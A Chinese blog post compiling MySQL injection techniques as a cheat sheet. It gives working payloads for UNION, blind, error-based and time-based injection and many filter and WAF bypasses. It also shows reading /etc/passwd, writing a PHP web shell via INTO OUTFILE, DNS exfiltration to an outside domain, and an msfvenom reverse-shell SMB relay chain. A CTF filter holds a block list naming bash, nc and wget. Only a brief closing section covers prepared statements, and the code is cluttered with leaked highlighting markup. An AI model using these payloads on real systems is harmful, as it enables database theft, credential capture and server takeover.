本文主要是做一个Mysql的注入总结,对于Mysql来说利用的方式太过于灵活,这里总结了一些主流的一些姿势,如果有好的姿势可以多加交流,文章如果有错也欢迎各位dalao指出:)
[TOC]
下面几点是注入中经常会用到的语句
可以用以下语句对一个可能的注入点进行测试
string | numeric | login |
---|---|---|
' | AND 1 | ' OR '1 |
' ' | AND 0 | ' OR 1 — – |
" | AND true | " OR "" = " |
"" | AND false | " OR 1 = 1 — – |
\ | 12 | '=' |
\ | 12 | 'LIKE' |
'=0–+ | ||
SELECT FROM Users WHERE id = '1''';<br>SELECT 1 FROM Users WHERE 1 = '1'''''''''''''UNION SELECT '2'; | SELECT FROM Users WHERE id = 3-2; | SELECT * FROM Users WHERE username = 'admin' AND password = '' OR '' = ''; |
以下是Mysql中可以用到的注释符:
符号 | 解释 |
---|---|
# | Hash注释 |
/* | C语言风格注释 |
— | SQL语句注释 |
;%00 | 空字节 |
` | 反引号(只能在语句尾使用) |
Examples:
1 2 3 |
<span class="hljs-operator"><span class="hljs-keyword">SELECT</span> * <span class="hljs-keyword">FROM</span> Users <span class="hljs-keyword">WHERE</span> username = &#<span class="hljs-number">39</span>;</span>&#39; OR 1=1 <span class="hljs-comment">-- -&#39; AND password = &#39;&#39;;</span> <span class="hljs-operator"><span class="hljs-keyword">SELECT</span> * <span class="hljs-keyword">FROM</span> Users <span class="hljs-keyword">WHERE</span> id = &#<span class="hljs-number">39</span>;</span>&#39; UNION <span class="hljs-operator"><span class="hljs-keyword">SELECT</span> <span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span><span class="hljs-string">`&#39;; </span></span> |
版本 | 主机名 | 用户 | 库名 |
---|---|---|---|
VERSION() | @@HOSTNAME | user() | database() |
@@VERSION | currentuser() | SELECT schemaname FROM informationschema.schemata; | |
@@GLOBAL.VERSION | systemuser() | SELECT DISTINCT(db) FROM mysql.db;– | |
/!mysql版本号/(/!50094eaea/)当数字小于版本号时返回TRUE | sessionuser() | ||
SELECT * FROM Users WHERE id = ‘1’ AND MID(VERSION(),1,1) = ‘5’; | SELECT CONCATWS(0x3A, user, password) FROM mysql.user WHERE user = ‘root’– |
ORDER BY用于判断表中的字段个数
column | column |
---|---|
1′ ORDER BY 1–+ | True |
1′ ORDER BY 2–+ | True |
1′ ORDER BY 3–+ | True |
1′ ORDER BY 4–+ | False – 字段有三个 |
-1′ UNION SELECT 1,2,3–+ | True |
关于SELECT … INTO 的解释可以看这一篇文章SELECT … INTO解释
语句 | 返回 |
---|---|
-1 UNION SELECT 1 INTO @,@,@ | The used SELECT statements have a different number of columns |
-1 UNION SELECT 1 INTO @,@ | The used SELECT statements have a different number of columns |
-1 UNION SELECT 1 INTO @ | 没有报错就说明只有一列 |
当出现LIMIT时可以用以下语句:
1 2 |
<span class="hljs-operator"><span class="hljs-keyword">SELECT</span> username <span class="hljs-keyword">FROM</span> Users limit <span class="hljs-number">1</span>,{INJECTION POINT};</span> |
语句 | 释意 |
---|---|
1 INTO @,@,@ | The used SELECT statements have a different number of columns |
1 INTO @,@ | 没有报错就说明只有两列 |
1 2 |
AND (<span class="hljs-operator"><span class="hljs-keyword">SELECT</span> * <span class="hljs-keyword">FROM</span> SOME_EXISTING_TABLE) = <span class="hljs-number">1</span> </span> |
1 2 |
<span class="hljs-operator"><span class="hljs-keyword">SELECT</span> passwd <span class="hljs-keyword">FROM</span> Users <span class="hljs-keyword">WHERE</span> id = {INJECTION POINT};</span> |
语句 | 释意 |
---|---|
1 AND (SELECT * FROM Users) = 1 | Operand should contain 3 column(s)说明只有3列 |
以下提过几种方式对库中表进行查询
UNION查询 | BLIND盲注 | ERROR报错 |
---|---|---|
UNION SELECT GROUPCONCAT(tablename) FROM informationschema.tables | AND SELECT SUBSTR(tablename,1,1) FROM informationschema.tables > 'A' | 1+and(select 1 from(select count(),concat((select (select (SELECT distinct concat(0x7e,tablename,0x7e) FROM informationschema.tables where tableschema=database() LIMIT 0,1)) from informationschema.tables limit 0,1),floor(rand(0)2))x from informationschema.tables group by x)a) |
以下提过几种方式对表中列进行查询
UNION查询 | BLIND盲注 | ERROR报错 | PROCEDURE ANALYSE |
---|---|---|---|
UNION SELECT GROUPCONCAT(columnname) FROM informationschema.columns WHERE tablename = 'tablename' 可以不使用单引号,用16进制 | AND SELECT SUBSTR(columnname,1,1) FROM informationschema.columns > 'A' | 1+and(select 1 from(select count(),concat((select (select (SELECT distinct concat(0x7e,columnname,0x7e) FROM informationschema.columns where tablename=0x61646D696E LIMIT 0,1)) from informationschema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a) | 1 LIMIT 1,1 PROCEDURE ANALYSE() 获取到第二个字段名 |
下面的几条语句都可以用以连接字符
字符串连接方式 |
---|
SELECT 'a' 'd' 'mi' 'n'; |
SELECT CONCAT('a', 'd', 'm', 'i', 'n'); |
SELECT CONCATWS('', 'a', 'd', 'm', 'i', 'n'); |
SELECT GROUPCONCAT('a', 'd', 'm', 'i', 'n'); |
语句 | 释意 |
---|---|
CASE | SLEEP() mysql5以上才引入 |
IF() | BENCHMARK() mysql4/5都有 |
IFNULL() | ' – (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) – ' |
NULLIF() | SELECT IF(1=1, sleep(5), false); |
SELECT IF(1=1, true, false); | |
SELECT CASE WHEN 1=1 THEN true ELSE false END; |
其中BENCHMARK函数是指执行某函数的次数,次数多时能够达到与sleep函数相同的效果
在MySQL中,存在一个称为securefilepriv的全局系统变量。 该变量用于限制数据的导入和导出操作,例如SELECT … INTO OUTFILE语句和LOAD_FILE()
也可使用如下语句查询
语句 | 是否需需要root | 版本支持 |
---|---|---|
SELECT filepriv FROM mysql.user WHERE user = 'username'; | 需要root | mysql4/5 |
SELECT grantee, isgrantable FROM informationschema.userprivileges WHERE privilege_type = 'file' AND grantee like '%username%'; | 不需要root | mysql5 |
读文件函数LOAD_FILE()
Examples:
1 2 3 |
<span class="hljs-operator"><span class="hljs-keyword">SELECT</span> LOAD_FILE(<span class="hljs-string">'/etc/passwd'</span>);</span> <span class="hljs-operator"><span class="hljs-keyword">SELECT</span> LOAD_FILE(<span class="hljs-number">0x2F6574632F706173737764</span>);</span> |
注意点:
1. LOAD_FILE的默认目录@@datadir
2. 文件必须是当前用户可读
3. 读文件最大的为1047552个byte, @@max_allowed_packet
可以查看文件读取最大值
INTO OUTFILE/DUMPFILE
经典写文件例子:
1 2 3 |
To write a PHP shell: <span class="hljs-operator"><span class="hljs-keyword">SELECT</span> <span class="hljs-string">'<? system($_GET[\'c\']); ?>'</span> <span class="hljs-keyword">INTO</span> OUTFILE <span class="hljs-string">'/var/www/shell.php'</span>;</span> |
这两个函数都可以写文件,但是有很大的差别
INTO OUTFILE函数写文件时会在每一行的结束自动加上换行符
INTO DUMPFILE函数在写文件会保持文件得到原生内容,这种方式对于二进制文件是最好的选择
当我们在UDF提权的场景是需要上传二进制文件等等用OUTFILE函数是不能成功的
网上有很多文章介绍,比如这篇
注意点:
1. INTO OUTFILE不会覆盖文件
2. INTO OUTFILE必须是查询语句的最后一句
3. 路径名是不能编码的,必须使用单引号
关于带外通道的注入前段时间国外的大佬已经总结过了,我基本复现了一下,博客有文章,这里简单提一下
带外通道攻击主要是利用其他协议或者渠道从服务器提取数据. 它可能是HTTP(S)请求,DNS解析服务,SMB服务,Mail服务等.
1 2 3 |
<span class="hljs-operator"><span class="hljs-keyword">select</span> load_file(concat(<span class="hljs-string">'\\\\'</span>,version(),<span class="hljs-string">'.rootclay.club\\clay.txt'</span>));</span> <span class="hljs-operator"><span class="hljs-keyword">select</span> load_file(concat(<span class="hljs-number">0x5c5c5c5c</span>,version(),<span class="hljs-number">0x2e6861636b65722e736974655c5c612e747874</span>));</span> |
上面的语句执行的结果我们可以通过wireshark抓包看一下,过滤一下DNS协议即可清晰看到数据出去的样子,如下图
进行DNS注入需要域名解析,自己有的话最好,但是没有的朋友也没事,这里推荐一个网站CEYE可以查看数据
这里简单的描述一下SMB relay这个过程
假设有主机B与A
(1) A向B发起连接请求
(2) B向A发送挑战(一组随机数据,8字节)
(3) A用源自明文口令的DESKEY对挑战进行标准DES加密得到响应,并发往B
(4) B从SAM中获取A的LM Hash、NTLM Hash,计算出DESKEY,并对前面发往A的挑战进
行标准DES加密
(5) 如果(4)中计算结果与A送过来的响应匹配,A被允许访问B
现在假设一个攻击者C卷入其中
(1) C向B发起连接请求
(2) B向C发送挑战D(一组随机数据)
(3) C等待A向B发起连接请求
(4) 当A向B发起连接请求时,C伪造成B向A发送挑战D
(5) A用源自明文口令的DESKEY对挑战D进行标准DES加密得到响应E,并发往B
(6) C截获到响应E,将它做为针对(2)中挑战D的响应发往B,并声称自己是A
(7) B从SAM中获取A的LM Hash、NTLM Hash,计算出DESKEY,并对挑战D进行标准DES
加密
(8) 如果(7)中计算结果与C送过来的响应匹配,C被允许以A的身份访问B。
关于SMB relay攻击窃取NTML与shell请看这篇文章SMB Relay Demystified and NTLMv2 Pwnage with Python
整理了一下实际操作的步骤如下:
1. 首先生成一个反向shell:
msfvenom -p windows/meterpreter/reversetcp LHOST=攻击机ip LPORT=攻击机监听端口 -f exe > reverseshell.exe
2. 运行smbrelayx,指定被攻击者和生成的反向shell,等待连接。
smbrelayx.py -h 被攻击者ip -e 反向shell文件位置
3. 使用模块multi/handler。侦听攻击机ip,攻击机监听端口
4. 在MySQL Server上运行如下的代码,则会产生shell。相当于访问攻击机的smb服务,但实际上是窃取了mysqlserver的身份
select loadfile('\\攻击机ip\aa');
语句 | 解释 |
---|---|
SELECT FROM Users WHERE username = 0x61646D696E | HEX编码 |
SELECT FROM Users WHERE username = CHAR(97, 100, 109, 105, 110) | CHAR()函数 |
1 2 |
?id=1+UnIoN+<span class="hljs-operator"><span class="hljs-keyword">SeLecT</span>+<span class="hljs-number">1</span>,<span class="hljs-number">2</span>,<span class="hljs-number">3</span>-- </span> |
1 2 |
?id=1+UNunionION+SEselectLECT+1,2,3<span class="hljs-comment">--</span> |
1 2 |
?id=1+un<span class="hljs-comment">/**/</span>ion+se<span class="hljs-comment">/**/</span>lect+1,2,3<span class="hljs-comment">--</span> |
1 2 |
?id=1<span class="hljs-comment">/*!UnIoN*/</span><span class="hljs-operator"><span class="hljs-keyword">SeLecT</span>+<span class="hljs-number">1</span>,<span class="hljs-number">2</span>,<span class="hljs-number">3</span>-- </span> |
1 2 |
SQL注入中的宽字节国内最常使用的gbk编码,这种方式主要是绕过addslashes等对特殊字符进行转移的绕过。反斜杠()的十六进制为%<span class="hljs-number">5</span>c,在你输入%bf%<span class="hljs-number">27</span>时,函数遇到单引号自动转移加入\,此时变为%bf%<span class="hljs-number">5</span>c%<span class="hljs-number">27</span>,%bf%<span class="hljs-number">5</span>c在gbk中变为一个宽字符“縗”。%bf那个位置可以是%<span class="hljs-number">81</span>-%fe中间的任何字符。不止在sql注入中,宽字符注入在很多地方都可以应用。 |
1 2 3 4 |
Examples: UNION <span class="hljs-operator"><span class="hljs-keyword">SELECT</span> /*!<span class="hljs-number">50000</span> <span class="hljs-number">5</span>,<span class="hljs-keyword">null</span>;</span>%00*/<span class="hljs-comment">/*!40000 4,null-- ,*/</span><span class="hljs-comment">/*!30000 3,null-- x*/</span>0,null<span class="hljs-comment">--+</span> <span class="hljs-operator"><span class="hljs-keyword">SELECT</span> <span class="hljs-number">1</span>/*!<span class="hljs-number">41320</span><span class="hljs-keyword">UNION</span>/*!/*!/*!<span class="hljs-number">00000</span><span class="hljs-keyword">SELECT</span>/*!/*!<span class="hljs-keyword">USER</span>/*!(/*!/*!/*!*/);</span> |
#!/bin/sh
前端时间看到ph师傅的博客是讨论mysql字符编码的文章,大概意思如下,原文在这里
当出现有以下代码时,指设置了字符编码为utf-8,但并不是全部为utf-8,而在具体的转换过程中会出现意外的情况,具体可以看ph师傅的文章
1 2 |
<span class="hljs-variable">$mysqli</span>->query(<span class="hljs-string">"set names utf8"</span>); |
在sql查询中
1 2 |
test.php?username=admin%e4中的%e4会被admin忽略掉而绕过了一些逻辑,还有一些类似于$e4这样的字符如%c2等 |
字符 | 解释 |
---|---|
09 | Horizontal Tab |
0A | New Line |
0B | Vertical Tab |
0C | New Page |
0D | Carriage Return |
A0 | Non-breaking Space |
20 | Space |
1 2 3 4 |
Example:</p> <p>'%0AUNION%0CSELECT%A0NULL%20%23 |
字符 | 解释 |
---|---|
28 | ( |
29 | ) |
1 2 3 4 |
Example:</p> <p>UNION(<span class="hljs-operator"><span class="hljs-keyword">SELECT</span>(<span class="hljs-keyword">column</span>)<span class="hljs-keyword">FROM</span>(<span class="hljs-keyword">table</span>)) </span> |
任意混合+ - ~ !
可以达到绕过空格的效果(可以现在本地测试,混合后需要的奇偶数可能不同)
1 2 3 4 |
<span class="hljs-operator"><span class="hljs-keyword">SELECT</span> <span class="hljs-keyword">DISTINCT</span>(db) <span class="hljs-keyword">FROM</span> mysql.db <span class="hljs-keyword">WHERE</span> <span class="hljs-string">`Host`</span>=&#<span class="hljs-number">39</span>;</span>localhost&#39; and-++-1=1;需要偶数个<span class="hljs-comment">--</span> <span class="hljs-operator"><span class="hljs-keyword">SELECT</span> <span class="hljs-keyword">DISTINCT</span>(db) <span class="hljs-keyword">FROM</span> mysql.db <span class="hljs-keyword">WHERE</span> <span class="hljs-string">`Host`</span>=&#<span class="hljs-number">39</span>;</span>localhost&#39; and!!~~~~!1=1;需要奇数个! |
其实一下的字符都可以测试
字符 | 释意 |
---|---|
20 | Space |
2B | + |
2D | – |
7E | ~ |
21 | ! |
40 | @ |
1 2 3 |
<span class="hljs-operator"><span class="hljs-keyword">SELECT</span> <span class="hljs-keyword">DISTINCT</span>(db) <span class="hljs-keyword">FROM</span> mysql.db <span class="hljs-keyword">WHERE</span> <span class="hljs-string">`Host`</span>=&#<span class="hljs-number">39</span>;</span>localhost&#39; and<span class="hljs-comment">/**/</span>1=1; <span class="hljs-operator"><span class="hljs-keyword">SELECT</span> <span class="hljs-keyword">DISTINCT</span>(db) <span class="hljs-keyword">FROM</span> mysql.db <span class="hljs-keyword">WHERE</span> <span class="hljs-string">`Host`</span>=&#<span class="hljs-number">39</span>;</span>localhost&#39; and&quot;1=1&quot;; |
column | column |
---|---|
URL Encoding | SELECT %74able%6eame FROM informationschema.tables; |
Double URL Encoding | SELECT %2574able%256eame FROM informationschema.tables; |
Unicode Encoding | SELECT %u0074able%u6eame FROM informationschema.tables; |
测试用例information_schema.tables
column | column |
---|---|
空格 | informationschema . tables |
反引号 | information</em>schema .tables |
特殊符 | /!informationschema.tables/ |
别名 | informationschema.partitions,statistics,keycolumnusage,table_constraints |
绕过语句:'='
1 2 3 4 |
<span class="hljs-operator"><span class="hljs-keyword">select</span> data <span class="hljs-keyword">from</span> users <span class="hljs-keyword">where</span> name=<span class="hljs-string">"="</span> <span class="hljs-keyword">select</span> data <span class="hljs-keyword">from</span> users <span class="hljs-keyword">where</span> flase=<span class="hljs-string">" select data from users where 0=0 </span></span> |
绕过语句:'-'
1 2 3 4 |
<span class="hljs-operator"><span class="hljs-keyword">select</span> data <span class="hljs-keyword">from</span> users <span class="hljs-keyword">where</span> name=<span class="hljs-string">''</span>-<span class="hljs-string">''</span> <span class="hljs-keyword">select</span> data <span class="hljs-keyword">from</span> users <span class="hljs-keyword">where</span> name=<span class="hljs-number">0</span>-<span class="hljs-number">0</span> <span class="hljs-keyword">select</span> data <span class="hljs-keyword">from</span> users <span class="hljs-keyword">where</span> <span class="hljs-number">0</span>=<span class="hljs-number">0</span> </span> |
比如登录的时候需要输入email和passwd,可以这样输入
1 2 |
<span class="hljs-attribute">email=''&password='' </span> |
1 2 3 4 5 6 7 8 9 10 |
' or 1=true ' or 1 <span class="hljs-operator"><span class="hljs-keyword">select</span> * <span class="hljs-keyword">from</span> users <span class="hljs-keyword">where</span> <span class="hljs-string">'a'</span>=<span class="hljs-string">'b'</span>=<span class="hljs-string">'c'</span> <span class="hljs-keyword">select</span> * <span class="hljs-keyword">from</span> users <span class="hljs-keyword">where</span> (<span class="hljs-string">'a'</span>=<span class="hljs-string">'b'</span>)=<span class="hljs-string">'c'</span> <span class="hljs-keyword">select</span> * <span class="hljs-keyword">from</span> users <span class="hljs-keyword">where</span> (<span class="hljs-keyword">false</span>)=<span class="hljs-string">'c'</span> <span class="hljs-keyword">select</span> * <span class="hljs-keyword">from</span> users <span class="hljs-keyword">where</span> (<span class="hljs-number">0</span>)=<span class="hljs-string">'c'</span> <span class="hljs-keyword">select</span> * <span class="hljs-keyword">from</span> users <span class="hljs-keyword">where</span> (<span class="hljs-number">0</span>)=<span class="hljs-number">0</span> <span class="hljs-keyword">select</span> * <span class="hljs-keyword">from</span> users <span class="hljs-keyword">where</span> <span class="hljs-keyword">true</span> <span class="hljs-keyword">select</span> * <span class="hljs-keyword">from</span> users </span> |
我们还有关于此的漏洞,就以一次CTF的题目来说(源码如下):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
&lt;?php <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">fiter</span>{</span> <span class="hljs-keyword">var</span> <span class="hljs-variable">$str</span>; <span class="hljs-keyword">var</span> <span class="hljs-variable">$order</span>; <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">sql_clean</span><span class="hljs-params">(<span class="hljs-variable">$str</span>)</span>{</span> <span class="hljs-keyword">if</span>(is_array(<span class="hljs-variable">$str</span>)){ <span class="hljs-keyword">echo</span> &quot;&lt;script&gt; alert(&<span class="hljs-comment">#39;not array!!@_@&#39;);parent.location.href=&#39;index.php&#39;; &lt;/script&gt;&quot;;exit;</span> } <span class="hljs-variable">$filter</span> = &quot;/ |\*|<span class="hljs-comment">#|,|union|like|regexp|for|and|or|file|--|\||`|&amp;|&quot;.urldecode(&#39;%09&#39;).&quot;|&quot;.urldecode(&quot;%0a&quot;).&quot;|&quot;.urldecode(&quot;%0b&quot;).&quot;|&quot;.urldecode(&#39;%0c&#39;).&quot;|&quot;.urldecode(&#39;%0d&#39;).&quot;/i&quot;;</span> <span class="hljs-keyword">if</span>(preg_match(<span class="hljs-variable">$filter</span>,<span class="hljs-variable">$str</span>)){ <span class="hljs-keyword">echo</span> &quot;&lt;script&gt; alert(&<span class="hljs-comment">#39;illegal character!!@_@&#39;);parent.location.href=&#39;index.php&#39;; &lt;/script&gt;&quot;;exit;</span> }<span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span>(strrpos(<span class="hljs-variable">$str</span>,urldecode(&quot;%<span class="hljs-number">00</span>&quot;))){ <span class="hljs-keyword">echo</span> &quot;&lt;script&gt; alert(&<span class="hljs-comment">#39;illegal character!!@_@&#39;);parent.location.href=&#39;index.php&#39;; &lt;/script&gt;&quot;;exit;</span> } <span class="hljs-keyword">return</span> <span class="hljs-variable">$this</span>-&gt;str=<span class="hljs-variable">$str</span>; } <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">ord_clean</span><span class="hljs-params">(<span class="hljs-variable">$ord</span>)</span>{</span> <span class="hljs-variable">$filter</span> = &quot; |bash|perl|nc|java|php|&gt;|&gt;&gt;|wget|ftp|python|sh&quot;; <span class="hljs-keyword">if</span> (preg_match(&quot;/&quot;.<span class="hljs-variable">$filter</span>.&quot;/i&quot;,<span class="hljs-variable">$ord</span>) == <span class="hljs-number">1</span>){ <span class="hljs-keyword">return</span> <span class="hljs-variable">$this</span>-&gt;order = &quot;&quot;; } <span class="hljs-keyword">return</span> <span class="hljs-variable">$this</span>-&gt;order = <span class="hljs-variable">$ord</span>; } } |
这里过滤了很多关键词了,需要用到类型转换了,这里我们用+号
1 2 3 4 5 6 |
Payload如下: uname=aa&<span class="hljs-comment">#39;+(ascii(mid((passwd)from(1)))&gt;0)+&#39;1</span> 执行的SQL语句如下: xxxxxx where username = &<span class="hljs-comment">#39;aa&#39;+(ascii(mid((passwd)from(users)))&gt;0)+&#39;1&#39;</span> 这样就可以开始写脚本跑数据了 |
除了+号,其他算术操作符号也会发生类型的类型转换,例如MOD,DIV,*,/,%,-,
关于隐式类型转换的文章可以看这里
当我们传入的参数为
1 2 |
<span class="hljs-attribute">http://sqlinjection.com/?par1=val1&amp;par1=val2 </span> |
进入到不同的Web Server就可能得到不同的结果,这里借鉴一下国外大佬一篇文章的总结,如下:
Web Server | Parameter Interpretation | Example |
---|---|---|
ASP.NET/IIS | Concatenation by comma | par1=val1,val2 |
ASP/IIS | Concatenation by comma | par1=val1,val2 |
PHP/Apache | The last param is resulting | par1=val2 |
JSP/Tomcat | The first param is resulting | par1=val1 |
Perl/Apache | The first param is resulting | par1=val1 |
DBMan | Concatenation by two tildes | par1=val1~~val2 |
不同的web server的处理结果截然不同
Query String | Apache/2.2.16, PHP/5.3.3 | IIS6/ASP |
---|---|---|
?test[1=2 | test_1=2 | test[1=2 |
?test=% | test=% | test= |
?test%00=1 | test=1 | test=1 |
?test=1%001 | NULL | test=1 |
?test+d=1+2 | test_d=1 2 | test d=1 2 |
这里也推荐一篇国外的文章
过滤字符 | PHP正则代码 | 原查询语句 | 现查询语句 |
---|---|---|---|
and, or | preg_match(‘/(and|or)/i’, $id) | 1 or 1 = 1,1 and 1 = 1 | 1 || 1 = 1, 1 && 1 = 1 |
and, or, union | preg_match(‘/(and|or|union)/i’, $id) | union select user, password from users | 1 || (select user from users where user_id = 1) = ‘admin’ |
and, or, union, where | preg_match(‘/(and|or|union|where)/i’, $id) | 1 || (select user from users where user_id = 1) = ‘admin’ | 1 || (select user from users limit 1) = ‘admin’ |
and, or, union, where, limit | preg_match(‘/(and|or|union|where|limit)/i’, $id) | 1 || (select user from users limit 1) = ‘admin’ | 1 || (select user from users group by user_id having user_id = 1) = ‘admin’ |
and, or, union, where, limit, group by | preg_match(‘/(and|or|union|where|limit|group by)/i’, $id) | 1 || (select user from users group by user_id having user_id = 1) = ‘admin’ | 1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1 |
and, or, union, where, limit, group by, select | preg_match(‘/(and|or|union|where|limit|group by|select)/i’, $id) | 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1 | 1 || 1 = 1 into outfile ‘result.txt’ 1 || substr(user,1,1) = ‘a’ |
and, or, union, where, limit, group by, select, ‘ | preg_match(‘/(and|or|union|where|limit|group by|select|\’)/i’, $id) | 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1 | 1 || user_id is not null 1 || substr(user,1,1) = 0x61 1 || substr(user,1,1) = unhex(61) |
and, or, union, where, limit, group by, select, ‘, hex | preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex)/i’, $id) | 1 || substr(user,1,1) = unhex(61) | 1 || substr(user,1,1) = lower(conv(11,10,36)) |
and, or, union, where, limit, group by, select, ‘, hex, substr | preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex|substr)/i’, $id) | 1 || substr(user,1,1) = lower(conv(11,10,36)) | 1 || lpad(user,7,1) |
and, or, union, where, limit, group by, select, ‘, hex, substr, white space | preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex|substr|\s)/i’, $id) | 1 || lpad(user,7,1) | 1%0b||%0blpad(user,7,1) |
像WAF之类防御手段自己无能为力经常打补丁就好,这里主要提一下代码层面的问题
推荐使用下面的方式进行查询:
1 2 3 4 |
<span class="hljs-variable">$stmt</span> = <span class="hljs-variable">$db</span>->prepare(<span class="hljs-string">'update name set name = ? where id = ?'</span>); <span class="hljs-variable">$stmt</span>->bind_param(<span class="hljs-string">'si'</span>,<span class="hljs-variable">$name</span>,<span class="hljs-variable">$id</span>); <span class="hljs-variable">$stmt</span>->execute(); |
1 2 3 |
<span class="hljs-variable">$stmt</span> = odbc_prepare( <span class="hljs-variable">$conn</span>, <span class="hljs-string">'SELECT * FROM users WHERE email = ?'</span> ); <span class="hljs-variable">$success</span> = odbc_execute( <span class="hljs-variable">$stmt</span>, <span class="hljs-keyword">array</span>(<span class="hljs-variable">$email</span>) ); |
或者
1 2 3 4 |
<span class="hljs-variable">$dbh</span> = odbc_exec(<span class="hljs-variable">$conn</span>, <span class="hljs-string">'SELECT * FROM users WHERE email = ?'</span>, <span class="hljs-keyword">array</span>(<span class="hljs-variable">$email</span>)); <span class="hljs-variable">$sth</span> = <span class="hljs-variable">$dbh</span>->prepare(<span class="hljs-string">'SELECT * FROM users WHERE email = :email'</span>); <span class="hljs-variable">$sth</span>->execute(<span class="hljs-keyword">array</span>(<span class="hljs-string">':email'</span> => <span class="hljs-variable">$email</span>)); |
1 2 3 4 5 6 7 8 9 10 |
<span class="hljs-variable">$dbh</span> <span class="hljs-subst">=</span> <span class="hljs-literal">new</span> PDO(<span class="hljs-string">'mysql:dbname=testdb;host=127.0.0.1'</span>, <span class="hljs-variable">$user</span>, <span class="hljs-variable">$password</span>); <span class="hljs-variable">$stmt</span> <span class="hljs-subst">=</span> <span class="hljs-variable">$dbh</span><span class="hljs-subst">-></span>prepare(<span class="hljs-string">'INSERT INTO REGISTRY (name, value) VALUES (:name, :value)'</span>); <span class="hljs-variable">$stmt</span><span class="hljs-subst">-></span>bindParam(<span class="hljs-string">':name'</span>, <span class="hljs-variable">$name</span>); <span class="hljs-variable">$stmt</span><span class="hljs-subst">-></span>bindParam(<span class="hljs-string">':value'</span>, <span class="hljs-variable">$value</span>);<span class="hljs-subst"><</span>/p<span class="hljs-subst">></span> <span class="hljs-subst"><</span>p<span class="hljs-subst">></span><span class="hljs-comment">// insert one row</span> <span class="hljs-variable">$name</span> <span class="hljs-subst">=</span> <span class="hljs-string">'one'</span>; <span class="hljs-variable">$value</span> <span class="hljs-subst">=</span> <span class="hljs-number">1</span>; <span class="hljs-variable">$stmt</span><span class="hljs-subst">-></span>execute(); |
或者
1 2 3 4 |
<span class="hljs-variable">$dbh</span> = <span class="hljs-keyword">new</span> PDO(<span class="hljs-string">'mysql:dbname=testdb;host=127.0.0.1'</span>, <span class="hljs-variable">$user</span>, <span class="hljs-variable">$password</span>); <span class="hljs-variable">$stmt</span> = <span class="hljs-variable">$dbh</span>->prepare(<span class="hljs-string">'UPDATE people SET name = :new<em>name WHERE id = :id'</span>); <span class="hljs-variable">$stmt</span>->execute( <span class="hljs-keyword">array</span>(<span class="hljs-string">'new</em>name'</span> => <span class="hljs-variable">$name</span>, <span class="hljs-string">'id'</span> => <span class="hljs-variable">$id</span>) ); |
对于框架的话只要遵循框架的API就好,例如wp的查询
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
<span class="hljs-keyword">global</span> <span class="hljs-variable">$wpdb</span>; <span class="hljs-variable">$wpdb</span>->query( <span class="hljs-variable">$wpdb</span>->prepare( <span class="hljs-string">'SELECT name FROM people WHERE id = %d OR email = %s'</span>, <span class="hljs-variable">$person_id</span>, <span class="hljs-variable">$person_email</span> ) ); 或者 <span class="hljs-keyword">global</span> <span class="hljs-variable">$wpdb</span>; <span class="hljs-variable">$wpdb</span>->insert( <span class="hljs-string">'people'</span>, <span class="hljs-keyword">array</span>( <span class="hljs-string">'person_id'</span> => <span class="hljs-string">'123'</span>, <span class="hljs-string">'person_email'</span> => <span class="hljs-string">'bobby@tables.com'</span> ), <span class="hljs-keyword">array</span>( <span class="hljs-string">'%d'</span>, <span class="hljs-string">'%s'</span> ) ); |
这篇文章主要是做一个总结,有的点可能描述的不是很细致,可以自己再深入研究
本文由 安全周 作者:SecJack 发表,转载请注明来源!
您必须[登录] 才能发表留言!